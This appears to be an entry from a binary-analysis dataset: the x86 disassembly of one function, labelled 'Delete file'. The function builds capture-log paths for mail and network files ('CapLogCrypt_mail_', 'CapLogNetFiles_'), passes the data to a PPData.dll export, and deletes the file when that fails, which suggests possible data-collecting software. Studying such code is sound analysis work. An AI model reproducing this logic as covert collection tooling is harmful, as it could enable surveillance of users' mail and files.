Function at 0x40cc10
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x43118c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x254
push ebx
push ebp
mov dword [esp + 0x1c], ecx
push esi
push edi
lea ecx, [esp + 0x2c]
call fcn.0041ab80
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x48]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x270], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x48]
push 0x5c
push ecx
call fcn.0041bd80
mov ebx, dword [esp + 0x27c]
add esp, 8
mov byte [eax + 1], 0
mov ecx, 5
lea edx, [ebx + 0xb0]
mov edi, str.CRYPT_MAIL
mov esi, edx
xor eax, eax
repe cmpsw word [esi], word es:[edi]
mov dword [esp + 0x1c], edx
jne 0x40cce6
mov edi, str.CapLogCrypt_mail_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebp, [esp + 0x48]
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.MAIL
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x40cd0f
mov edi, str.CapLogNetFiles_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
add ebx, 0xc5
rep movsb byte es:[edi], byte [esi]
or ebp, 0xffffffff
mov edi, ebx
mov ecx, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x48]
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebp
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.00428960
lea eax, [esp + 0x20]
push 4
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x274], 1
call fcn.004276f5
mov eax, dword [eax]
push str..dat
push eax
call fcn.0041bda7
add esp, 8
lea ecx, [esp + 0x20]
test eax, eax
setne byte [esp + 0x13]
call fcn.004288f2
mov al, byte [esp + 0x13]
test al, al
je 0x40cdbc
mov edi, str..dat
mov ecx, ebp
xor eax, eax
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebp
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x48]
push 0
push eax
lea ecx, [esp + 0x34]
call fcn.0041ac43
test eax, eax
je 0x40cdef
lea ecx, [esp + 0x14c]
lea edx, [esp + 0x48]
push ecx
push edx
call fcn.00429a97
cmp dword [esp + 0x158], 0x40000000
jle 0x40ce0c
lea ecx, [esp + 0x14]
mov byte [esp + 0x26c], 0
call fcn.004288f2
mov dword [esp + 0x26c], ebp
jmp 0x40cf46
push 0x1ff
call fcn.00428e1c
mov ebp, eax
mov ecx, 0x7f
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x31
lea eax, [ebp + 6]
push str.NETFILESIDX
push eax
mov word [ebp], 0x378
mov dword [ebp + 2], 0x3f9
call fcn.0041bf00
mov esi, dword [esp + 0x284]
lea edi, [ebp + 0x3c]
mov ecx, 0x70
mov dword [ebp + 0x38], 0x1c3
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0x10
mov esi, 0xa
call edi
mov ecx, dword [0x43c418]
push 1
push 0x1ff
push ebp
push 1
push ecx
mov dword [0x441474], eax
call sub.PPData.dll_Ordinal_52
test al, al
jne 0x40ce9a
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
dec esi
test esi, esi
jg 0x40ce6c
push ebp
call fcn.00428e45
add esp, 4
test esi, esi
jg 0x40ceb4
lea edx, [esp + 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40cf2a
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
call fcn.00428960
push 0x43cbfc
lea ecx, [esp + 0x1c]
mov byte [esp + 0x270], 2
call fcn.00428c82
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
lea edx, [esp + 0x20]
push ebx
push edx
push ecx
call fcn.00428b3b
push 3
push ecx
lea eax, [esp + 0x58]
mov ecx, esp
mov dword [esp + 0x38], esp
push eax
mov byte [esp + 0x280], 3
call fcn.00428960
mov ecx, dword [esp + 0x34]
mov byte [esp + 0x27c], 2
call fcn.0040b3d0
lea ecx, [esp + 0x18]
mov byte [esp + 0x26c], 1
call fcn.004288f2
lea ecx, [esp + 0x14]
mov byte [esp + 0x26c], 0
call fcn.004288f2
mov dword [esp + 0x26c], 0xffffffff
lea ecx, [esp + 0x2c]
call fcn.0041abbd
mov ecx, dword [esp + 0x264]
pop edi
pop esi
pop ebp
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x260
ret 4